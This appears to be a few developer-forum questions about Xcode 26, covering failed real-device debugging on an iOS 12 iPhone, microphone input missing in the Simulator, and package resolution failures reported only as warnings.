Development environment: MacBook pro Apple M1 macOS Tahoe 26.2 (25C56) Xcode 26.x iPhone 6 Plus / iOS 12.4.4 Exception description: After I upgraded to Xcode 26, my iPhone 6 Plus had a system version of 12.4.4. I was unable to perform real-device debugging, whether for existing projects or new ones. The error message from Xcode was as follows: Could not launch “xxx” Domain: IDEDebugSessionErrorDomain Code: 3 Failure Reason: Cannot launch '/private/var/containers/Bundle/Application/A44062C1-32F5-4346-B13C-FC3F39EAF7A1/xxx.app': Unspecified Even though I have already added device support for the iOS 12.4 Has Xcode 26 stopped supporting the debugging of any devices running iOS 12 system?
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Microphone features don't work in Simulator
I have a Xcode 26.6, and when I run the simulators for iPhone, Siri does not work, Dictation does not work. I know my Mac microphone works just fine. It just seems like the simulator is not getting my voice input.
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"Failed to resolve package dependencies" during build process only treated as a warning?
Following up on my last question, I noticed that when we build, if there's a failure to resolve package dependencies, if previously package dependency resolution succeeded, then the failure is not treated as an error but only as a warning.
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